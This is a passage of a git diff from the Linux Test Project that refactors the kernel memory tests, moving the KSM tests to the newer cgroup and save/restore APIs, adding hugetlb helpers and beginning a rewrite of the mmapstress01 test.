a) ((void *)LTP_ALIGN((unsigned long)(p), (a))) + #define SHM_RD 0400 #define SHM_WR 0200 #define SHM_RW (SHM_RD|SHM_WR) @@ -28,6 +30,21 @@ #define SHM_HUGETLB 04000 /* segment is mapped via hugetlb */ #endif +#ifndef barrier +# ifdef mb + /* Redefining the mb() */ +# define barrier() mb() +# else +# define barrier() __asm__ __volatile__ ("" : : : "memory") +# endif +#endif + +/* Check if hugetlb page is gigantic */ +static inline int is_hugetlb_gigantic(unsigned long hpage_size) +{ + return (hpage_size / getpagesize()) >> 11; +} + /* * to get the lower nine permission bits * from shmid_ds.ipc_perm.mode @@ -39,5 +56,5 @@ extern key_t shmkey; /* an IPC key generated by ftok() */ int getipckey(void); int getuserid(char *user); void rm_shm(int shm_id); - +int do_readback(void *p, size_t size, char *desc); #endif /* hugetlb.h */ diff --git a/testcases/kernel/mem/include/mem.h b/testcases/kernel/mem/include/mem.h index 38a1e887..cdc3ca14 100755 --- a/testcases/kernel/mem/include/mem.h +++ b/testcases/kernel/mem/include/mem.h @@ -6,7 +6,6 @@ #define _MEM_H #include "config.h" #include "tst_test.h" -#include "tst_cgroup.h" #include "ksm_helper.h" #include "tst_memutils.h" @@ -43,7 +42,6 @@ static inline void clean_node(unsigned long *array) #define MLOCK 2 #define KSM 3 -extern long overcommit; void oom(int testcase, int lite, int retcode, int allow_sigkill); void testoom(int mempolicy, int lite, int retcode, int allow_sigkill); @@ -51,6 +49,8 @@ void testoom(int mempolicy, int lite, int retcode, int allow_sigkill); void create_same_memory(int size, int num, int unit); void test_ksm_merge_across_nodes(unsigned long nr_pages); +void ksm_group_check(int run, int pg_shared, int pg_sharing, int pg_volatile, + int pg_unshared, int sleep_msecs, int pages_to_scan); /* THP */ @@ -66,7 +66,7 @@ void check_hugepage(void); void write_memcg(void); /* cpuset/memcg - include/tst_cgroup.h */ -void write_cpusets(const struct tst_cgroup_group *cg, long nd); +void write_cpusets(const struct tst_cg_group *cg, long nd); /* shared */ unsigned int get_a_numa_node(void); diff --git a/testcases/kernel/mem/ksm/Makefile b/testcases/kernel/mem/ksm/Makefile index e8ea801b..23662569 100755 --- a/testcases/kernel/mem/ksm/Makefile +++ b/testcases/kernel/mem/ksm/Makefile @@ -3,6 +3,9 @@ top_srcdir ?= ../../../.. +LTPLIBS = ltpnuma +ksm06: LTPLDLIBS = -lltpnuma + include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/testcases/kernel/mem/include/libmem.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/mem/ksm/ksm01.c b/testcases/kernel/mem/ksm/ksm01.c index 7470d314..bcd09586 100755 --- a/testcases/kernel/mem/ksm/ksm01.c +++ b/testcases/kernel/mem/ksm/ksm01.c @@ -66,30 +66,7 @@ static void verify_ksm(void) static void setup(void) { - if (access(PATH_KSM, F_OK) == -1) - tst_brk(TCONF, "KSM configuration is not enabled"); - parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit); - - /* - * kernel commit 90bd6fd introduced a new KSM sysfs knob - * /sys/kernel/mm/ksm/merge_across_nodes, setting it to '0' - * will prevent KSM pages being merged across numa nodes, - * which will cause the case fail, so we need to make sure - * it is enabled before testing. - */ - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) { - SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes", - "%d", &merge_across_nodes); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); - } -} - -static void cleanup(void) -{ - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) - FILE_PRINTF(PATH_KSM "merge_across_nodes", - "%d", merge_across_nodes); } static struct tst_test test = { @@ -102,11 +79,18 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/sys/kernel/mm/ksm/max_page_sharing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/run", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/sleep_millisecs", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/max_page_sharing", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/sys/kernel/mm/ksm/merge_across_nodes", "1", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + NULL }, .test_all = verify_ksm, - .min_kver = "2.6.32", }; diff --git a/testcases/kernel/mem/ksm/ksm02.c b/testcases/kernel/mem/ksm/ksm02.c index c578cfb7..bce639dc 100755 --- a/testcases/kernel/mem/ksm/ksm02.c +++ b/testcases/kernel/mem/ksm/ksm02.c @@ -59,9 +59,6 @@ #ifdef HAVE_NUMA_V2 #include -static const struct tst_cgroup_group *cg; -static const struct tst_cgroup_group *cg_drain; - static void verify_ksm(void) { unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 }; @@ -79,37 +76,18 @@ static void verify_ksm(void) } create_same_memory(size, num, unit); - write_cpusets(cg, node); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); + write_cpusets(tst_cg, node); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); create_same_memory(size, num, unit); - SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid()); -} - -static void cleanup(void) -{ - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) - FILE_PRINTF(PATH_KSM "merge_across_nodes", - "%d", merge_across_nodes); - - tst_cgroup_cleanup(); + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); } static void setup(void) { - if (access(PATH_KSM, F_OK) == -1) - tst_brk(TCONF, "KSM configuration is not enabled"); - parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit); - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) { - SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes", - "%d", &merge_across_nodes); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); - } - - tst_cgroup_require("cpuset", NULL); - cg = tst_cgroup_get_test_group(); - cg_drain = tst_cgroup_get_drain_group(); + if (opt_sizestr && size > DEFAULT_MEMSIZE) + tst_set_max_runtime(32 * (size / DEFAULT_MEMSIZE)); } static struct tst_test test = { @@ -122,13 +100,22 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/sys/kernel/mm/ksm/max_page_sharing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/run", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/sleep_millisecs", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/max_page_sharing", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/sys/kernel/mm/ksm/merge_across_nodes", "1", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + NULL }, .test_all = verify_ksm, - .min_kver = "2.6.32", + .max_runtime = 32, + .needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL }, }; #else diff --git a/testcases/kernel/mem/ksm/ksm03.c b/testcases/kernel/mem/ksm/ksm03.c index df847cf9..4a733269 100755 --- a/testcases/kernel/mem/ksm/ksm03.c +++ b/testcases/kernel/mem/ksm/ksm03.c @@ -59,8 +59,6 @@ #include "mem.h" #include "ksm_common.h" -static const struct tst_cgroup_group *cg; - static void verify_ksm(void) { create_same_memory(size, num, unit); @@ -68,29 +66,10 @@ static void verify_ksm(void) static void setup(void) { - if (access(PATH_KSM, F_OK) == -1) - tst_brk(TCONF, "KSM configuration is not enabled"); - - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) { - SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes", - "%d", &merge_across_nodes); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); - } - parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit); - tst_cgroup_require("memory", NULL); - cg = tst_cgroup_get_test_group(); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM); -} - -static void cleanup(void) -{ - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) - FILE_PRINTF(PATH_KSM "merge_across_nodes", - "%d", merge_across_nodes); - tst_cgroup_cleanup(); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM); } static struct tst_test test = { @@ -103,11 +82,19 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/sys/kernel/mm/ksm/max_page_sharing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/run", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/sleep_millisecs", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/max_page_sharing", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/sys/kernel/mm/ksm/merge_across_nodes", "1", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + NULL }, .test_all = verify_ksm, - .min_kver = "2.6.32", + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, }; diff --git a/testcases/kernel/mem/ksm/ksm04.c b/testcases/kernel/mem/ksm/ksm04.c index e8bc1de8..4f1f2f72 100755 --- a/testcases/kernel/mem/ksm/ksm04.c +++ b/testcases/kernel/mem/ksm/ksm04.c @@ -59,8 +59,6 @@ #ifdef HAVE_NUMA_V2 #include -static const struct tst_cgroup_group *cg; - static void verify_ksm(void) { unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 }; @@ -69,7 +67,7 @@ static void verify_ksm(void) node = get_a_numa_node(); set_node(nmask, node); - SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM); if (set_mempolicy(MPOL_BIND, nmask, MAXNODES) == -1) { if (errno != ENOSYS) @@ -80,36 +78,18 @@ static void verify_ksm(void) } create_same_memory(size, num, unit); - write_cpusets(cg, node); + write_cpusets(tst_cg, node); create_same_memory(size, num, unit); } -static void cleanup(void) -{ - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) - FILE_PRINTF(PATH_KSM "merge_across_nodes", - "%d", merge_across_nodes); - - tst_cgroup_cleanup(); -} - static void setup(void) { - if (access(PATH_KSM, F_OK) == -1) - tst_brk(TCONF, "KSM configuration is not enabled"); - - if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) { - SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes", - "%d", &merge_across_nodes); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); - } - parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit); - tst_cgroup_require("memory", NULL); - tst_cgroup_require("cpuset", NULL); - cg = tst_cgroup_get_test_group(); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + + if (opt_sizestr && size > DEFAULT_MEMSIZE) + tst_set_max_runtime(32 * (size / DEFAULT_MEMSIZE)); } static struct tst_test test = { @@ -122,13 +102,24 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/sys/kernel/mm/ksm/max_page_sharing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/run", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/sleep_millisecs", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/max_page_sharing", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/sys/kernel/mm/ksm/merge_across_nodes", "1", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + NULL }, .test_all = verify_ksm, - .min_kver = "2.6.32", + .max_runtime = 32, + .needs_cgroup_ctrls = (const char *const []){ + "memory", "cpuset", NULL + }, }; #else diff --git a/testcases/kernel/mem/ksm/ksm05.c b/testcases/kernel/mem/ksm/ksm05.c index 380bb020..1f58c832 100755 --- a/testcases/kernel/mem/ksm/ksm05.c +++ b/testcases/kernel/mem/ksm/ksm05.c @@ -83,32 +83,22 @@ static void sighandler(int sig) _exit((sig == SIGSEGV) ? 0 : sig); } -static void setup(void) -{ - if (access(PATH_KSM, F_OK) == -1) - tst_brk(TCONF, "KSM configuration is not enabled"); - - /* save original /sys/kernel/mm/ksm/run value */ - SAFE_FILE_SCANF(PATH_KSM "run", "%d", &ksm_run_orig); - - /* echo 1 > /sys/kernel/mm/ksm/run */ - SAFE_FILE_PRINTF(PATH_KSM "run", "1"); -} - -static void cleanup(void) -{ - /* restore /sys/kernel/mm/ksm/run value */ - if (ksm_run_orig > 0) - FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig); -} - static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .setup = setup, - .cleanup = cleanup, .test_all = test_ksm, - .min_kver = "2.6.32", + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/run", "1", TST_SR_TBROK}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + NULL + }, + .tags = (const struct tst_tag[]) { + {"CVE", "2011-2183"}, + {} + } }; #else diff --git a/testcases/kernel/mem/ksm/ksm06.c b/testcases/kernel/mem/ksm/ksm06.c index c5f219c3..0b159e5c 100755 --- a/testcases/kernel/mem/ksm/ksm06.c +++ b/testcases/kernel/mem/ksm/ksm06.c @@ -1,24 +1,24 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2013-2017 Red Hat, Inc. + */ +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * The case is designed to test sysfs boolean knob + * /sys/kernel/mm/ksm/merge_across_nodes. * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - */ - -/* - * The case is designed to test new sysfs boolean knob - * /sys/kernel/mm/ksm/merge_across_nodes, which was introduced by - * commit 90bd6fd31c8097ee (ksm: allow trees per NUMA node). - * when merge_across_nodes is set to zero only pages from the same + * When merge_across_nodes is set to zero only pages from the same * node are merged, otherwise pages from all nodes can be merged * together. + * + * Introduced in commit: + * + * commit 90bd6fd31c8097ee4ddcb74b7e08363134863de5 + * Author: Petr Holasek + * Date: Fri Feb 22 16:35:00 2013 -0800 + * + * ksm: allow trees per NUMA node */ #include "config.h" @@ -34,56 +34,99 @@ #include #include "mem.h" -#include "numa_helper.h" +#include "tst_numa.h" #ifdef HAVE_NUMA_V2 -#include - -static int run = -1; -static int sleep_millisecs = -1; -static int merge_across_nodes = -1; -static unsigned long nr_pages; +# include +# include +static unsigned long nr_pages = 100; static char *n_opt; +static size_t page_size; +static struct tst_nodemap *nodes; + static void test_ksm(void) { - if (n_opt) - nr_pages = SAFE_STRTOUL(n_opt, 0, ULONG_MAX); - else - nr_pages = 100; + char **memory; + unsigned int i; + int ret; + unsigned long length; + struct bitmask *bm = numa_allocate_nodemask(); + + length = nr_pages * page_size; + + memory = SAFE_MALLOC(nodes->cnt * sizeof(char *)); + for (i = 0; i < nodes->cnt; i++) { + memory[i] = SAFE_MMAP(NULL, length, PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); +#ifdef HAVE_DECL_MADV_MERGEABLE + if (madvise(memory[i], length, MADV_MERGEABLE) == -1) + tst_brk(TBROK|TERRNO, "madvise"); +#endif - test_ksm_merge_across_nodes(nr_pages); -} +#ifdef HAVE_NUMA_V2 + numa_bitmask_setbit(bm, nodes->map[i]); -static void setup(void) -{ - if (access(PATH_KSM "merge_across_nodes", F_OK) == -1) - tst_brk(TCONF, "no merge_across_nodes sysfs knob"); - - if (!is_numa(NULL, NH_MEMS, 2)) - tst_brk(TCONF, "The case needs a NUMA system."); - - /* save the current value */ - SAFE_FILE_SCANF(PATH_KSM "run", "%d", &run); - SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes", - "%d", &merge_across_nodes); - SAFE_FILE_SCANF(PATH_KSM "sleep_millisecs", - "%d", &sleep_millisecs); + ret = mbind(memory[i], length, MPOL_BIND, bm->maskp, bm->size+1, 0); + if (ret == -1) + tst_brk(TBROK|TERRNO, "mbind"); + + numa_bitmask_clearbit(bm, nodes->map[i]); +#endif + + memset(memory[i], 10, length); + + if (mlock(memory[i], length)) + tst_res(TWARN | TERRNO, "mlock() failed"); + } + + numa_free_nodemask(bm); + + SAFE_FILE_PRINTF(PATH_KSM "sleep_millisecs", "0"); + SAFE_FILE_PRINTF(PATH_KSM "pages_to_scan", "%ld", + nr_pages * nodes->cnt); + /* + * merge_across_nodes and max_page_sharing setting can be changed + * only when there are no ksm shared pages in system, so set run 2 + * to unmerge pages first, then to 1 after changing merge_across_nodes, + * to remerge according to the new setting. + */ + SAFE_FILE_PRINTF(PATH_KSM "run", "2"); + if (access(PATH_KSM "max_page_sharing", F_OK) == 0) + SAFE_FILE_PRINTF(PATH_KSM "max_page_sharing", + "%ld", nr_pages * nodes->cnt); + tst_res(TINFO, "Start to test KSM with merge_across_nodes=1"); + SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); + SAFE_FILE_PRINTF(PATH_KSM "run", "1"); + ksm_group_check(1, 1, nr_pages * nodes->cnt - 1, 0, 0, 0, + nr_pages * nodes->cnt); + + SAFE_FILE_PRINTF(PATH_KSM "run", "2"); + tst_res(TINFO, "Start to test KSM with merge_across_nodes=0"); + SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "0"); + SAFE_FILE_PRINTF(PATH_KSM "run", "1"); + ksm_group_check(1, nodes->cnt, nr_pages * nodes->cnt - nodes->cnt, + 0, 0, 0, nr_pages * nodes->cnt); + + SAFE_FILE_PRINTF(PATH_KSM "run", "2"); + + for (i = 0; i < nodes->cnt; i++) + SAFE_MUNMAP(memory[i], length); + + free(memory); } -static void cleanup(void) +static void setup(void) { - if (merge_across_nodes != -1) { - FILE_PRINTF(PATH_KSM "merge_across_nodes", - "%d", merge_across_nodes); - } + if (n_opt) + nr_pages = SAFE_STRTOUL(n_opt, 0, ULONG_MAX); - if (sleep_millisecs != -1) - FILE_PRINTF(PATH_KSM "sleep_millisecs", "%d", sleep_millisecs); + page_size = getpagesize(); - if (run != -1) - FILE_PRINTF(PATH_KSM "run", "%d", run); + nodes = tst_get_nodemap(TST_NUMA_MEM, nr_pages * page_size / 1024); + if (nodes->cnt <= 1) + tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static struct tst_test test = { @@ -93,10 +136,18 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, - .save_restore = (const char * const[]) { - "?/sys/kernel/mm/ksm/max_page_sharing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/sys/kernel/mm/ksm/max_page_sharing", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {"/sys/kernel/mm/ksm/run", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/sleep_millisecs", NULL, TST_SR_TBROK}, + {"/sys/kernel/mm/ksm/merge_across_nodes", NULL, TST_SR_TCONF}, + {} + }, + .needs_kconfigs = (const char *const[]){ + "CONFIG_KSM=y", + "CONFIG_NUMA=y", + NULL }, .test_all = test_ksm, }; diff --git a/testcases/kernel/mem/ksm/ksm_common.h b/testcases/kernel/mem/ksm/ksm_common.h index e6d5387c..a582891c 100755 --- a/testcases/kernel/mem/ksm/ksm_common.h +++ b/testcases/kernel/mem/ksm/ksm_common.h @@ -9,9 +9,9 @@ #include "tst_test.h" -int merge_across_nodes; +#define DEFAULT_MEMSIZE 128 -int size = 128, num = 3, unit = 1; +int size = DEFAULT_MEMSIZE, num = 3, unit = 1; char *opt_sizestr, *opt_numstr, *opt_unitstr; static inline void parse_ksm_options(char *str_size, int *size, diff --git a/testcases/kernel/mem/lib/mem.c b/testcases/kernel/mem/lib/mem.c index a4bede0d..fbfeef02 100755 --- a/testcases/kernel/mem/lib/mem.c +++ b/testcases/kernel/mem/lib/mem.c @@ -27,8 +27,6 @@ /* OOM */ -long overcommit = -1; - static int alloc_mem(long int length, int testcase) { char *s; @@ -261,19 +259,36 @@ static void final_group_check(int run, int pages_shared, int pages_sharing, int pages_volatile, int pages_unshared, int sleep_millisecs, int pages_to_scan) { + int ksm_run_orig; + tst_res(TINFO, "check!"); check("run", run); + + /* + * Temporarily stop the KSM scan during the checks: during the + * KSM scan the rmap_items in the stale unstable tree of the + * old pass are removed from it and are later reinserted in + * the new unstable tree of the current pass. So if the checks + * run in the race window between removal and re-insertion, it + * can lead to unexpected false positives where page_volatile + * is elevated and page_unshared is recessed. + */ + SAFE_FILE_SCANF(PATH_KSM "run", "%d", &ksm_run_orig); + SAFE_FILE_PRINTF(PATH_KSM "run", "0"); + check("pages_shared", pages_shared); check("pages_sharing", pages_sharing); check("pages_volatile", pages_volatile); check("pages_unshared", pages_unshared); check("sleep_millisecs", sleep_millisecs); check("pages_to_scan", pages_to_scan); + + SAFE_FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig); } -static void group_check(int run, int pages_shared, int pages_sharing, - int pages_volatile, int pages_unshared, - int sleep_millisecs, int pages_to_scan) +void ksm_group_check(int run, int pages_shared, int pages_sharing, + int pages_volatile, int pages_unshared, + int sleep_millisecs, int pages_to_scan) { if (run != 1) { tst_res(TFAIL, "group_check run is not 1, %d.", run); @@ -489,19 +504,19 @@ void create_same_memory(int size, int num, int unit) resume_ksm_children(child, num); stop_ksm_children(child, num); - group_check(1, 2, size * num * pages - 2, 0, 0, 0, size * pages * num); + ksm_group_check(1, 2, size * num * pages - 2, 0, 0, 0, size * pages * num); resume_ksm_children(child, num); stop_ksm_children(child, num); - group_check(1, 3, size * num * pages - 3, 0, 0, 0, size * pages * num); + ksm_group_check(1, 3, size * num * pages - 3, 0, 0, 0, size * pages * num); resume_ksm_children(child, num); stop_ksm_children(child, num); - group_check(1, 1, size * num * pages - 1, 0, 0, 0, size * pages * num); + ksm_group_check(1, 1, size * num * pages - 1, 0, 0, 0, size * pages * num); resume_ksm_children(child, num); stop_ksm_children(child, num); - group_check(1, 1, size * num * pages - 2, 0, 1, 0, size * pages * num); + ksm_group_check(1, 1, size * num * pages - 2, 0, 1, 0, size * pages * num); tst_res(TINFO, "KSM unmerging..."); SAFE_FILE_PRINTF(PATH_KSM "run", "2"); @@ -519,83 +534,6 @@ void create_same_memory(int size, int num, int unit) WEXITSTATUS(status)); } -void test_ksm_merge_across_nodes(unsigned long nr_pages) -{ - char **memory; - int i, ret; - int num_nodes, *nodes; - unsigned long length; - unsigned long pagesize; - -#ifdef HAVE_NUMA_V2 - unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 }; -#endif - - ret = get_allowed_nodes_arr(NH_MEMS, &num_nodes, &nodes); - if (ret != 0) - tst_brk(TBROK|TERRNO, "get_allowed_nodes_arr"); - if (num_nodes < 2) { - tst_res(TINFO, "need NUMA system support"); - free(nodes); - return; - } - - pagesize = sysconf(_SC_PAGE_SIZE); - length = nr_pages * pagesize; - - memory = SAFE_MALLOC(num_nodes * sizeof(char *)); - for (i = 0; i < num_nodes; i++) { - memory[i] = SAFE_MMAP(NULL, length, PROT_READ|PROT_WRITE, - MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); -#ifdef HAVE_DECL_MADV_MERGEABLE - if (madvise(memory[i], length, MADV_MERGEABLE) == -1) - tst_brk(TBROK|TERRNO, "madvise"); -#endif - -#ifdef HAVE_NUMA_V2 - clean_node(nmask); - set_node(nmask, nodes[i]); - /* - * Use mbind() to make sure each node contains - * length size memory. - */ - ret = mbind(memory[i], length, MPOL_BIND, nmask, MAXNODES, 0); - if (ret == -1) - tst_brk(TBROK|TERRNO, "mbind"); -#endif - - memset(memory[i], 10, length); - } - - SAFE_FILE_PRINTF(PATH_KSM "sleep_millisecs", "0"); - SAFE_FILE_PRINTF(PATH_KSM "pages_to_scan", "%ld", - nr_pages * num_nodes); - /* - * merge_across_nodes and max_page_sharing setting can be changed - * only when there are no ksm shared pages in system, so set run 2 - * to unmerge pages first, then to 1 after changing merge_across_nodes, - * to remerge according to the new setting. - */ - SAFE_FILE_PRINTF(PATH_KSM "run", "2"); - if (access(PATH_KSM "max_page_sharing", F_OK) == 0) - SAFE_FILE_PRINTF(PATH_KSM "max_page_sharing", - "%ld", nr_pages * num_nodes); - tst_res(TINFO, "Start to test KSM with merge_across_nodes=1"); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1"); - SAFE_FILE_PRINTF(PATH_KSM "run", "1"); - group_check(1, 1, nr_pages * num_nodes - 1, 0, 0, 0, - nr_pages * num_nodes); - - SAFE_FILE_PRINTF(PATH_KSM "run", "2"); - tst_res(TINFO, "Start to test KSM with merge_across_nodes=0"); - SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "0"); - SAFE_FILE_PRINTF(PATH_KSM "run", "1"); - group_check(1, num_nodes, nr_pages * num_nodes - num_nodes, - 0, 0, 0, nr_pages * num_nodes); - - SAFE_FILE_PRINTF(PATH_KSM "run", "2"); -} - /* THP */ /* cpuset/memcg */ @@ -632,11 +570,11 @@ static void gather_node_cpus(char *cpus, long nd) cpus[strlen(cpus) - 1] = '\0'; } -void write_cpusets(const struct tst_cgroup_group *cg, long nd) +void write_cpusets(const struct tst_cg_group *cg, long nd) { char cpus[BUFSIZ] = ""; - SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%ld", nd); + SAFE_CG_PRINTF(cg, "cpuset.mems", "%ld", nd); gather_node_cpus(cpus, nd); /* @@ -645,11 +583,11 @@ void write_cpusets(const struct tst_cgroup_group *cg, long nd) * the value of cpuset.cpus. */ if (strlen(cpus) != 0) { - SAFE_CGROUP_PRINT(cg, "cpuset.cpus", cpus); + SAFE_CG_PRINT(cg, "cpuset.cpus", cpus); } else { tst_res(TINFO, "No CPUs in the node%ld; " "using only CPU0", nd); - SAFE_CGROUP_PRINT(cg, "cpuset.cpus", "0"); + SAFE_CG_PRINT(cg, "cpuset.cpus", "0"); } } diff --git a/testcases/kernel/mem/mmapstress/Makefile b/testcases/kernel/mem/mmapstress/Makefile index 744f099d..b30bd34b 100755 --- a/testcases/kernel/mem/mmapstress/Makefile +++ b/testcases/kernel/mem/mmapstress/Makefile @@ -5,3 +5,5 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk + +mmapstress01: CFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE diff --git a/testcases/kernel/mem/mmapstress/mmapstress01.c b/testcases/kernel/mem/mmapstress/mmapstress01.c index 3b4b1ac2..6209c1bc 100755 --- a/testcases/kernel/mem/mmapstress/mmapstress01.c +++ b/testcases/kernel/mem/mmapstress/mmapstress01.c @@ -1,23 +1,24 @@ -/* IBM Corporation */ -/* 01/02/2003 Port to LTP avenkat@us.ibm.com */ -/* 06/30/2001 Port to Linux nsharoff@us.ibm.com */ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2003 - * - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (c) International Business Machines Corp., 2003 + * 01/02/2003 Port to LTP avenkat@us.ibm.com + * 06/30/2001 Port to Linux nsharoff@us.ibm.com + * 10/03/2022 Refactor to LTP framework edliaw@google.com + */ +/*\ + * [Description] + * This test stresses mmaps, without dealing with fragments or anything! + * It forks a specified number of children, + * all of whom mmap the same file, make a given number of accesses + * to random pages in the map (reading & writing and comparing data). + * Then the child exits and the parent forks another to take its place. + * Each time a child is forked, it stats the file and maps the full + * length of the file. * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * This program continues to run until it either receives a SIGINT, + * or times out (if a timeout value is specified). When either of + * these things happens, it cleans up its kids, then checks the + * file to make sure it has the correct data. */ #define _GNU_SOURCE 1 @@ -32,518 +33,140 @@ #include #include #include -/***** LTP Port *****/ -#include "test.h" -#define FAILED 0 -#define PASSED 1 - -int local_flag = PASSED; -char *TCID = "mmapstress01"; //tmnoextend -FILE *temp; -int TST_TOTAL = 1; - -int anyfail(); -void ok_exit(); -/***** ** ** *****/ - -/* - * This test stresses mmaps, without dealing with fragments or anything! - * It forks a specified number of children, - * all of whom mmap the same file, make a given number of accesses - * to random pages in the map (reading & writing and comparing data). - * Then the child exits and the parent forks another to take its place. - * Each time a child is forked, it stats the file and maps the full - * length of the file. - * - * This program continues to run until it either receives a SIGINT, - * or times out (if a timeout value is specified). When either of - * these things happens, it cleans up its kids, then checks the - * file to make sure it has the correct data. - * - * usage: - * tmnoextend -p 